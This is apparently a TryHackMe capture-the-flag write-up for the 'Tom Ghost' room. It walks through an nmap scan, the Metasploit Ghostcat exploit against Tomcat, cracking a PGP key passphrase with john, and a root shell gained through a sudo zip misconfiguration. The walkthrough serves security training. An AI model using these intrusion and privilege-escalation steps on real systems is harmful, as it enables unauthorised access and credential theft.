TryHackMe: Tom Ghost

This is the third CTF challenge of the “Starter Series” on TryHackMe. This one was really easy.


Tom Ghost


First we start with a port scan, as usual.

$ sudo nmap -sC -sV -oA 1000ports

Starting Nmap 7.92 ( ) at 2022-09-12 14:33 EDT
Nmap scan report for
Host is up (0.055s latency).
Not shown: 996 closed tcp ports (reset)
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
|   256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_  256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http       Apache Tomcat 9.0.30
|_http-title: Apache Tomcat/9.0.30
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 14.83 seconds

A full port scan does not reveal any additional open ports. The title already hints that we might deal with a Tomcat vulnerability. The Tomcat version is even listed in the nmap scan: 9.0.30.


Initial foothold

A quick google search reveals that for this Tomcat version, a vulnerability called ‘Ghostcat’ exists. The linked exploit on exploit-db links to a metasploit module. So let’s simply use metasploit for this one:

$ msfconsole
msf6> search ghostcat

Searching for the term “ghostcat” only reveals one single exploit. So let’s use it. The only setting we need to modify is RHOSTS. After that we can run the exploit and receive an XML-File with some credentials inside for user “skyfuck”.


There seems nowhere to log into on the website, but we found the open SSH port before - so let’s try it. It works. We are logged in as user “skyfuck”. Inside the skyfuck user’s home directory, we can find a password-protected PGP-key and a PGP-encrypted file. We can download both of them. Additionally, we can read the user.txt flag from the home directory of the user “merlin”.

Privilege escalation

Let’s try to decrypt the PGP-encrypted file. The corresponding key (tryhackme.asc) is password-protected, so we need to crack that one first:

$ gpg2john tryhackme.asc > asc.hash
$ john --format=gpg --wordlist=/usr/share/wordlists/rockyou.txt asc.hash  

This returns the password “alexandru”. With this, we can decrypt the PGP file:

$ gpg --decrypt credential.pgp

and after typing in the password, wee get the password for the merlin user. So let’s log in as merlin and see what privileges we have.

merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User merlin may run the following commands on ubuntu:
    (root : root) NOPASSWD: /usr/bin/zip

sudo -l reveals that we can run the zip command as root without password. We can use this to get a shell as described on GTFObins:

merlin@ubuntu:~$ TF=$(mktemp -u)
merlin@ubuntu:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 31%)
# whoami

And we can find the root flag in the /root directory.